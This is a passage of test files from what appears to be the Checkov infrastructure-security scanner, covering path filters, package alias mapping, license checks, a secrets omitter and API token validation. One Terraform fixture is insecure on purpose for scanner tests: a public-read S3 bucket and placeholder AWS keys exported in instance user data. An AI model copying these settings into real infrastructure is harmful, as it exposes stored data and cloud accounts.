self.assertEqual(set(remaining_dirs), expected)\n\n        excluded_paths = [os.path.join('dir1', 'dir2')]\n\n        remaining_dirs = []\n\n        expected = {\n            os.path.join(current_dir, 'sample_dir', 'dir33'),\n            os.path.join(current_dir, 'sample_dir', 'dir1'),\n            os.path.join(current_dir, 'sample_dir', 'dir1', 'dir4'),\n            os.path.join(current_dir, 'sample_dir', 'dir11'),\n            os.path.join(current_dir, 'sample_dir', 'dir11', 'dir2'),\n            os.path.join(current_dir, 'sample_dir', 'dir33', 'dir2'),\n        }\n\n        for root, dirs, files in os.walk(os.path.join(current_dir, 'sample_dir')):\n            filter_ignored_paths(root, dirs, excluded_paths)\n            remaining_dirs += [os.path.join(root, d) for d in dirs]\n\n        # we expect .terraform and dir1/dir2 to get filtered out\n        self.assertEqual(set(remaining_dirs), expected)\n\n        excluded_paths = [os.path.join('dir..', 'dir2')]\n\n        remaining_dirs = []\n\n        expected = {\n            os.path.join(current_dir, 'sample_dir', 'dir33'),\n            os.path.join(current_dir, 'sample_dir', 'dir1'),\n            os.path.join(current_dir, 'sample_dir', 'dir1', 'dir4'),\n            os.path.join(current_dir, 'sample_dir', 'dir11'),\n            os.path.join(current_dir, 'sample_dir', 'dir1', 'dir2')\n        }\n\n        for root, dirs, files in os.walk(os.path.join(current_dir, 'sample_dir')):\n            filter_ignored_paths(root, dirs, excluded_paths)\n            remaining_dirs += [os.path.join(root, d) for d in dirs]\n\n        # we expect .terraform and dir11/dir2 and dir33/dir2 to get filtered out\n        self.assertEqual(set(remaining_dirs), expected)\n\n    def test_filter_ignored_directories_by_values(self):\n        # this simulates scanning a subdirectory and applying filter logic using an absolute path\n        current_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'filter_ignored_directories_by_values')\n        excluded_paths = ['dir2++']\n        remaining_dirs = []\n        expected = {\n            os.path.join(current_dir, 'dir33'),\n            os.path.join(current_dir, 'dir1'),\n            os.path.join(current_dir, 'dir1', 'dir4'),\n            os.path.join(current_dir, 'dir11')\n        }\n\n        for root, dirs, files in os.walk(current_dir):\n            filter_ignored_paths(root, dirs, excluded_paths)\n            remaining_dirs += [os.path.join(root, d) for d in dirs]\n\n        # we expect .terraform and all dir2 to get filtered out\n        self.assertEqual(set(remaining_dirs), expected)\n\n        excluded_paths = [os.path.join('dir1', 'dir2++')]\n\n        remaining_dirs = []\n\n        expected = {\n            os.path.join(current_dir, 'dir33'),\n            os.path.join(current_dir, 'dir1'),\n            os.path.join(current_dir, 'dir1', 'dir4'),\n            os.path.join(current_dir, 'dir11'),\n            os.path.join(current_dir, 'dir11', 'dir2++'),\n            os.path.join(current_dir, 'dir33', 'dir2++'),\n        }\n\n        for root, dirs, files in os.walk(current_dir):\n            filter_ignored_paths(root, dirs, excluded_paths)\n            remaining_dirs += [os.path.join(root, d) for d in dirs]\n\n        # we expect .terraform and dir1/dir2 to get filtered out\n        self.assertEqual(set(remaining_dirs), expected)\n\n    def test_file_filter(self):\n        runner = Runner()\n\n        self.assertTrue(runner.should_scan_file('xyz.txt'))  # if a filename or extension list is not provided, return True\n\n        runner.file_extensions = ['.json', '.yaml']\n\n        self.assertTrue(runner.should_scan_file('test.json'))\n        self.assertTrue(runner.should_scan_file('test.yaml'))\n        self.assertTrue(runner.should_scan_file('absolute/path/test.yaml'))\n        self.assertFalse(runner.should_scan_file('test.tf'))\n\n        runner.file_names = ['Dockerfile', 'requirements.txt']\n\n        self.assertTrue(runner.should_scan_file('test.json'))\n        self.assertTrue(runner.should_scan_file('test.yaml'))\n        self.assertTrue(runner.should_scan_file('requirements.txt'))\n        self.assertTrue(runner.should_scan_file('Dockerfile'))\n        self.assertTrue(runner.should_scan_file('absolute/path/test.yaml'))\n        self.assertFalse(runner.should_scan_file('test.tf'))\n\n        runner.file_extensions = []\n\n        self.assertFalse(runner.should_scan_file('test.json'))\n        self.assertFalse(runner.should_scan_file('test.yaml'))\n        self.assertTrue(runner.should_scan_file('requirements.txt'))\n        self.assertTrue(runner.should_scan_file('Dockerfile'))\n        self.assertFalse(runner.should_scan_file('absolute/path/test.yaml'))\n        self.assertFalse(runner.should_scan_file('test.tf'))\n\n\nclass Runner(BaseRunner):\n    def run(\n            self,\n            root_folder: str,\n            external_checks_dir: Optional[List[str]] = None,\n            files: Optional[List[str]] = None,\n            runner_filter: RunnerFilter = RunnerFilter(),\n            collect_skip_comments: bool = True,\n    ) -> Report:\n        pass"
  },
  {
    "path": "tests/common/sca/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/sca/reachability/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/sca/reachability/example_repo/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"ax\": [\"node_modules/axios\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/babel/babel_config/babel.config.js",
    "content": "{\n  \"plugins\": [\n    [\"module-resolver\", {\n      \"alias\": {\n        \"ax\": \"axios\"\n      }\n    }]\n  ]\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/babel/babelrc/.babelrc",
    "content": "{\n  \"plugins\": [\n    [\"module-resolver\", {\n      \"alias\": {\n        \"ax\": \"axios\"\n      }\n    }]\n  ]\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/fake_file/fake.babel.config.js",
    "content": "{\n  \"plugins\": [\n    [\"module-resolver\", {\n      \"alias\": {\n        \"ax\": \"axios\"\n      }\n    }]\n  ]\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/mix/package_json_with_alias/package.json",
    "content": "{\n  \"alias\": {\n    \"ax\": \"axios\"\n  }\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/mix/vite.config.js",
    "content": "export default {\n  resolve: {\n    alias: {\n      \"ax\": \"axios\"\n    }\n  }\n};"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/package_json/package_json_with_alias/package.json",
    "content": "{\n  \"alias\": {\n    \"ax\": \"axios\"\n  }\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/package_json/package_json_with_aliasify/package.json",
    "content": "{\n  \"aliasify\": {\n    \"aliases\": {\n      \"ax\": \"axios\"\n    }\n  }\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/rollup/rollup.config.js",
    "content": "import alias from '@rollup/plugin-alias';\n\nexport default {\n  plugins: [\n    alias({\n      entries: [\n        { find: 'ax', replacement: 'axios' }\n      ]\n    })\n  ]\n};"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/snowpack/snowpack.config.js",
    "content": "module.exports = {\n  alias: {\n    \"ax\": \"axios\"\n  }\n};"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/tsconfig/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"ax\": [\"node_modules/axios\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/vite/vite.config.js",
    "content": "export default {\n  resolve: {\n    alias: {\n      \"ax\": \"axios\"\n    }\n  }\n};"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/examples/webpack/webpack.config.js",
    "content": "module.exports = {\n  resolve: {\n    alias: {\n      ax: 'axios'\n    }\n  }\n};"
  },
  {
    "path": "tests/common/sca/reachability/nodejs/test_javascript_alias_mapping_strategy.py",
    "content": "import os\nfrom typing import Dict, Any\nfrom checkov.common.sca.reachability.package_alias_mapping.nodejs.nodejs_alias_mapping_strategy import NodejsAliasMappingStrategy\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\ndef test_create_alias_mapping_from_webpack_file():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"webpack\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'webpack.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_babelrc_file():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"babel\", \"babelrc\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'.babelrc': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_babel_config_file():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"babel\", \"babel_config\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'babel.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_rollup_file():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"rollup\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'rollup.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_package_json_alias():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"package_json\", \"package_json_with_alias\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'package.json': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_package_json_aliasify():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"package_json\", \"package_json_with_aliasify\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'package.json': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_snowpack():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"snowpack\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'snowpack.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_vite():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"vite\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'vite.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_mix():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"mix\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {'nodejs': {'repositories': {'supplygoat': {'files': {'vite.config.js': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}, 'package_json_with_alias/package.json': {'packageAliases': {'axios': {'packageAliases': ['ax']}}}}}}}}}\n\n\ndef test_create_alias_mapping_from_fake():\n    strategy_object = NodejsAliasMappingStrategy()\n    root_dir = os.path.join(current_dir, \"examples\", \"fake_file\")\n    alias_mapping: Dict[str, Any] = {\"languages\": {}}\n    strategy_object.update_alias_mapping(alias_mapping, \"supplygoat\", root_dir, {'axios'})\n    assert alias_mapping == {'languages': {}}\n"
  },
  {
    "path": "tests/common/sca/reachability/test_alias_mapping_creator.py",
    "content": "import os\nfrom checkov.common.sca.reachability.package_alias_mapping.alias_mapping_creator import AliasMappingCreator\nfrom checkov.common.sca.reachability.package_alias_mapping.nodejs.utils import load_json_with_comments\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\ndef test_alias_mapping_creator():\n    alias_mapping_creator = AliasMappingCreator()\n    alias_mapping_creator.update_alias_mapping_for_repository(\"example_repo\", os.path.join(current_dir, \"example_repo\"), {'axios'})\n    alias_mapping = alias_mapping_creator.get_alias_mapping()\n    assert alias_mapping == {\n        \"languages\": {\n            \"nodejs\": {\n                \"repositories\": {\n                    \"example_repo\": {\n                        \"files\": {\n                            \"tsconfig.json\": {\n                                \"packageAliases\": {\n                                    \"axios\": {\n                                        \"packageAliases\":[\"ax\"]\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\ndef test_load_json_with_no_comments():\n    json_data_with_comments = \"\"\"\n    {\n      \"compilerOptions\": {\n        \"paths\": {\n          \"@modules/*\": [\"src/modules/*\"],\n          \"@shared/*\": [\"src/shared/*\"]\n        },\n        \"declaration\": true,\n        \"target\": \"es2021\",\n        \"strict\": true /* Enable all strict type-checking options. */,\n        \"noUnusedLocals\": false, // off for convenience, enable to enforce cleaner code\n        \"noUnusedParameters\": false, // off for convenience, enable to enforce cleaner code\n        \"noImplicitAny\": false,  // off for convenience, recommended value is true to enforce types and reduce bugs\n        \"forceConsistentCasingInFileNames\": true /* Disallow inconsistently-cased references to the same file. */,\n        \"resolveJsonModule\": true\n      },\n      \"exclude\": [\"node_modules\", \"dist\"]\n    }\n    \"\"\"\n    clean_json = load_json_with_comments(json_data_with_comments)\n    assert clean_json == {\n        \"compilerOptions\": {\n            \"paths\": {\n                \"@modules/*\": [\"src/modules/*\"],\n                \"@shared/*\": [\"src/shared/*\"]\n            },\n            \"declaration\": True,\n            \"target\": \"es2021\",\n            \"strict\": True,\n            \"noUnusedLocals\": False,\n            \"noUnusedParameters\": False,\n            \"noImplicitAny\": False,\n            \"forceConsistentCasingInFileNames\": True,\n            \"resolveJsonModule\": True\n        },\n        \"exclude\": [\"node_modules\", \"dist\"]\n    }"
  },
  {
    "path": "tests/common/sca/test_commons.py",
    "content": "from checkov.common.sca.commons import normalize_twistcli_language\n\n\ndef test_normalize_twistcli_language_for_gem():\n    assert normalize_twistcli_language(\"gem\") == \"ruby\"\n\n\ndef test_normalize_twistcli_language_for_ruby():\n    assert normalize_twistcli_language(\"ruby\") == \"ruby\"\n\n\ndef test_normalize_twistcli_language_for_empty():\n    assert normalize_twistcli_language(\"\") == \"\"\n\n\ndef test_normalize_twistcli_language_for_invalid():\n    assert normalize_twistcli_language(\"bbb\") == \"bbb\"\n\n\ndef test_normalize_twistcli_language_for_python():\n    assert normalize_twistcli_language(\"python\") == \"python\"\n"
  },
  {
    "path": "tests/common/sca/test_output.py",
    "content": "import os\nfrom unittest import mock\n\nimport responses\n\nfrom checkov.common.sca.output import get_license_statuses, _get_request_input\n\n\ndef test_get_request_input():\n    packages_input = [\n        {\"name\": \"docutils\", \"version\": \"0.15.2\", \"type\": \"python\"},\n        {\"name\": \"github.com/apparentlymart/go-textseg/v12\", \"version\": \"v12.0.0\", \"lang\": \"go\"},\n        {\"name\": \"ruby_package\", \"version\": \"9.9.9\", \"type\": \"ruby\"},\n        {\"name\": \"ruby_package2\", \"version\": \"8.8.8\", \"type\": \"gem\"},\n        {\"name\": \"empty_type_package\", \"version\": \"8.8.8\", \"type\": \"\"},\n        {\"name\": \"invalid_type_package\", \"version\": \"8.8.8\", \"type\": \"bbbbb\"}\n    ]\n    request_input = _get_request_input(packages_input)\n\n    assert request_input == [\n        {'name': 'docutils', 'version': '0.15.2', 'lang': 'python'},\n        {'name': 'github.com/apparentlymart/go-textseg/v12', 'version': 'v12.0.0', 'lang': ''},\n        {'name': 'ruby_package', 'version': '9.9.9', 'lang': 'ruby'},\n        {'name': 'ruby_package2', 'version': '8.8.8', 'lang': 'ruby'},\n        {'name': 'empty_type_package', 'version': '8.8.8', 'lang': ''},\n        {'name': 'invalid_type_package', 'version': '8.8.8', 'lang': 'bbbbb'}\n    ]\n\n\n@responses.activate\ndef test_licenses_status(mock_bc_integration):\n    packages_input = [\n        {\"name\": \"docutils\", \"version\": \"0.15.2\", \"lang\": \"python\"},\n        {\"name\": \"github.com/apparentlymart/go-textseg/v12\", \"version\": \"v12.0.0\", \"lang\": \"go\"}\n    ]\n\n    response_json = {\n        \"violations\": [\n            {\n                \"name\": \"github.com/apparentlymart/go-textseg/v12\",\n                \"version\": \"v12.0.0\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n            {\n                \"name\": \"docutils\",\n                \"version\": \"0.15.2\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n        ]\n    }\n\n    # given\n    responses.add(\n        method=responses.POST,\n        url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n        json=response_json,\n        status=200\n    )\n\n    license_statuses = get_license_statuses(packages_input)\n    assert license_statuses == [\n        {\n            \"package_name\": \"github.com/apparentlymart/go-textseg/v12\",\n            \"package_version\": \"v12.0.0\",\n            \"policy\": \"BC_LIC_1\",\n            \"license\": \"Apache-2.0\",\n            \"status\": \"COMPLIANT\",\n        },\n        {\n            \"package_name\": \"docutils\",\n            \"package_version\": \"0.15.2\",\n            \"policy\": \"BC_LIC_1\",\n            \"license\": \"Apache-2.0\",\n            \"status\": \"COMPLIANT\",\n        },\n    ]\n\n\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"1\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\n@responses.activate\ndef test_licenses_status_on_failure(mock_bc_integration):\n    # given\n    packages_input = [\n        {\"name\": \"docutils\", \"version\": \"0.15.2\", \"lang\": \"python\"},\n        {\"name\": \"github.com/apparentlymart/go-textseg/v12\", \"version\": \"v12.0.0\", \"lang\": \"go\"}\n    ]\n\n    responses.add(\n        method=responses.POST,\n        url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n        status=500\n    )\n\n    # when\n    # we expect no failure here, in case of a http/connection error\n    license_statuses = get_license_statuses(packages_input)\n\n    # then\n    assert len(license_statuses) == 0\n"
  },
  {
    "path": "tests/common/secrets_omitter/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/secrets_omitter/test_secrets_omitter.py",
    "content": "import pytest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.util.secrets_omitter import SecretsOmitter, SecretsOmitterStatus\n\n\n@pytest.mark.parametrize(\n    \"r1,r2,expected_result\",\n    [\n        ([10, 20], [15, 17], True),\n        ([10, 20], [18, 21], True),\n        ([10, 20], [9, 12], True),\n        ([10, 20], [20, 25], True),\n        ([10, 20], [30, 40], False)\n    ],\n)\ndef test_line_ranges_overlap(r1, r2, expected_result):\n    assert expected_result == SecretsOmitter._line_range_overlaps(r1, r2)\n\n\n@pytest.mark.parametrize(\n    \"code_block,expected_range,expected_lines\",\n    [\n        ([(1, 'ab***'), (2, 'abcd')], [1, 1], ['ab***']),\n        ([(1, 'abcd'), (2, 'abc')], [-1, -1], []),\n        ([(1, 'ab***'), (2, 'bc*'), (3, 'efg******')], [1, 3], ['ab***', 'bc*', 'efg******'])\n    ],\n)\ndef test_get_secret_lines(code_block, expected_range, expected_lines):\n    line_range, lines = SecretsOmitter.get_secret_lines(code_block)\n    assert line_range == expected_range\n    assert lines == expected_lines\n\n\n@pytest.mark.parametrize(\n    \"reports\",\n    [\n        ([Report(CheckType.SECRETS)]),\n        ([Report(CheckType.GITHUB_ACTIONS)])\n    ],\n)\ndef test_omit_insufficient_reports(reports):\n    assert SecretsOmitter(reports).omit() == SecretsOmitterStatus.INSUFFICIENT_REPORTS\n\n\ndef test_omit():\n    file_path = 'filepath'\n    failed_secrets_record = Record(check_id='a', check_name='a', check_result={\"result\": CheckResult.FAILED},\n                                   code_block=[(1, 'ab***'), (2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')],\n                                   file_path=file_path, file_line_range=[], resource='', evaluations={}, check_class='',\n                                   file_abs_path=''\n                                   )\n    secrets_report = Report(CheckType.SECRETS)\n    secrets_report.add_record(failed_secrets_record)\n\n    record = Record(check_id='b', check_name='b', check_result={\"result\": CheckResult.PASSED},\n                    code_block=[(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')],\n                    file_path=file_path, file_line_range=[2, 5], resource='', evaluations={}, check_class='',\n                    file_abs_path=''\n                    )\n    report = Report(CheckType.GITHUB_ACTIONS)\n    report.add_record(record)\n\n    res = SecretsOmitter([secrets_report, report]).omit()\n\n    assert res == SecretsOmitterStatus.SUCCESS\n    assert report.passed_checks[0].code_block == [(2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')]\n\n\ndef test_omit_should_skip():\n    \"\"\"\n    This test verifies that records containing None in file_line_range will be skipped\n    \"\"\"\n    file_path = 'filepath'\n    failed_secrets_record = Record(check_id='a', check_name='a', check_result={\"result\": CheckResult.FAILED},\n                                   code_block=[(1, 'ab***'), (2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')],\n                                   file_path=file_path, file_line_range=[], resource='', evaluations={}, check_class='',\n                                   file_abs_path=''\n                                   )\n    secrets_report = Report(CheckType.SECRETS)\n    secrets_report.add_record(failed_secrets_record)\n\n    record = Record(check_id='b', check_name='b', check_result={\"result\": CheckResult.PASSED},\n                    code_block=[(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')],\n                    file_path=file_path, file_line_range=[2, None], resource='', evaluations={}, check_class='',\n                    file_abs_path=''\n                    )\n    report = Report(CheckType.GITHUB_ACTIONS)\n    report.add_record(record)\n\n    res = SecretsOmitter([secrets_report, report]).omit()\n    assert res == SecretsOmitterStatus.SUCCESS\n\n    # Asserting code block is unchanged\n    assert report.passed_checks[0].code_block == [(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')]\n\ndef test_omit_with_abs_file_path():\n    abs_file_path = 'abs/filepath'\n    failed_secrets_record = Record(check_id='a', check_name='a', check_result={\"result\": CheckResult.FAILED},\n                                   code_block=[(1, 'ab***'), (2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')],\n                                   file_path=abs_file_path, file_line_range=[], resource='', evaluations={}, check_class='',\n                                   file_abs_path=abs_file_path\n                                   )\n    secrets_report = Report(CheckType.SECRETS)\n    secrets_report.add_record(failed_secrets_record)\n\n    record = Record(check_id='b', check_name='b', check_result={\"result\": CheckResult.PASSED},\n                    code_block=[(2, 'SECRET'), (3, 'SECRET'), (4, 'abcd'), (5, 'abc')],\n                    file_path='different_file_path', file_line_range=[2, 5], resource='', evaluations={}, check_class='',\n                    file_abs_path=abs_file_path\n                    )\n    report = Report(CheckType.GITHUB_ACTIONS)\n    report.add_record(record)\n\n    res = SecretsOmitter([secrets_report, report]).omit()\n\n    assert res == SecretsOmitterStatus.SUCCESS\n    assert report.passed_checks[0].code_block == [(2, 'bc*'), (3, 'efg******'), (4, 'abcd'), (5, 'abc')]"
  },
  {
    "path": "tests/common/suppressions_resources/suppressions.tf",
    "content": "# this file is meant to be run with the following checks enabled: CKV_AWS_21, CKV_AWS_18, CKV_AWS_79, CKV_AWS_19\n# (or anything else with no hardcoded suppressions)\n\nresource \"aws_s3_bucket\" \"financials\" {\n  # expected platform suppressions: CKV_AWS_21 (Resource), CKV_AWS_18 (Account)\n  bucket        = \"${local.resource_prefix.value}-financials\"\n  acl           = \"private\"\n  force_destroy = true\n}\n\nresource \"aws_s3_bucket\" \"operations\" {\n  # expected platform suppressions: CKV_AWS_21 (Tags), CKV_AWS_18 (Account)\n  bucket        = \"${local.resource_prefix.value}-operations\"\n  acl           = \"private\"\n  force_destroy = true\n  tags          = {\n    Name        = \"${local.resource_prefix.value}-operations\"\n    Environment = \"418408045322-acme-dev\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"hello\" {\n  # expected platform suppressions: CKV_AWS_18 (Account)\n  bucket        = \"${local.resource_prefix.value}-data\"\n  acl           = \"public-read\"\n  force_destroy = true\n  tags = {\n    Name        = \"${local.resource_prefix.value}-data\"\n    Environment = local.resource_prefix.value\n  }\n}\n\nresource \"aws_instance\" \"web_host\" {\n  # expected platform suppressions: CKV_AWS_79 (Policy)\n  ami           = \"${var.ami}\"\n  instance_type = \"t2.nano\"\n\n  vpc_security_group_ids = [\n    \"${aws_security_group.web-node.id}\"]\n  subnet_id              = \"${aws_subnet.web_subnet.id}\"\n  user_data              = <<EOF\n#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA  # checkov:skip=CKV_SECRET_2 test secret\nexport AWS_SECRET_ACCESS_KEY=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  # checkov:skip=CKV_SECRET_6 test secret\nexport AWS_DEFAULT_REGION=us-west-2\necho \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\nEOF\n  tags                   = {\n    Name = \"${local.resource_prefix.value}-ec2\"\n  }\n}\n"
  },
  {
    "path": "tests/common/test_platform_integration.py",
    "content": "import base64\nimport os\nimport random\nimport unittest\nimport uuid\nfrom unittest import mock\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    PolicyMetadataIntegration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass TestBCApiUrl(unittest.TestCase):\n\n    @mock.patch.dict(os.environ, {'BC_API_URL': 'foo'})\n    def test_overriding_bc_api_url(self):\n        instance = BcPlatformIntegration()\n        self.assertEqual(instance.api_url, \"foo\")\n\n    @staticmethod\n    def get_random_string():\n        len = random.randrange(5, 50)\n        chars = []\n        for i in range(0, len):\n            chars.append(chr(random.randrange(32, 127)))\n        return ''.join(chars)\n\n    def test_is_token_valid(self):\n        uuids = []\n        for i in range(0, 1000):\n            uuids.append(str(uuid.uuid4()))\n\n        # validate BC API keys\n        for u in uuids:\n            self.assertTrue(BcPlatformIntegration.is_token_valid(u))\n\n        # generate Prisma access keys, which are UUIDs (just reuse the ones from above),\n        # and secret keys, which are b64 encoded strings\n        for i in range(0, len(uuids)):\n            string_to_encode = self.get_random_string()\n            encoded = base64.b64encode(bytes(string_to_encode, 'utf-8'))\n            uuids[i] = uuids[i] + '::' + encoded.decode('utf-8')\n\n        for u in uuids:\n            self.assertTrue(BcPlatformIntegration.is_token_valid(u))\n\n        uuid_str = str(uuid.uuid4())\n        b64_str = base64.b64encode(bytes(self.get_random_string(), 'utf-8')).decode('utf-8')\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}{b64_str}'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}:{b64_str}'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}:::{b64_str}'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}::'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'::{b64_str}'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(''))\n        self.assertFalse(BcPlatformIntegration.is_token_valid('1234::56789'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}::56789'))\n        self.assertFalse(BcPlatformIntegration.is_token_valid(f'1234::{b64_str}'))\n\n    def test_overriding_pc_api_url(self):\n        instance = BcPlatformIntegration()\n        instance.setup_bridgecrew_credentials(\n            repo_id=\"bridgecrewio/checkov\",\n            prisma_api_url=\"https://api0.prismacloud.io\",\n            source=get_source_type('disabled')\n        )\n        self.assertEqual(instance.api_url, \"https://api0.prismacloud.io/bridgecrew\")\n        self.assertEqual(instance.prisma_api_url, \"https://api0.prismacloud.io\")\n\n    def test_no_overriding_api_url(self):\n        instance = BcPlatformIntegration()\n        self.assertEqual(instance.api_url, \"https://api0.prismacloud.io/bridgecrew\")\n\n    def test_skip_mapping_default(self):\n        # Default is False so mapping is obtained\n        instance = BcPlatformIntegration()\n        instance.api_url = 'https://www.bridgecrew.cloud/v1'\n        instance.setup_http_manager()\n        instance.get_public_run_config()\n        metadata_integration = PolicyMetadataIntegration(instance)\n        metadata_integration.bc_integration = instance\n        metadata_integration.pre_scan()\n        self.assertIsNotNone(metadata_integration.check_metadata)\n        self.assertGreater(len(metadata_integration.check_metadata), 0)\n\n    def test_skip_mapping_true(self):\n        instance = BcPlatformIntegration()\n        instance.skip_download = True\n        instance.setup_http_manager()\n        instance.get_public_run_config()\n        metadata_integration = 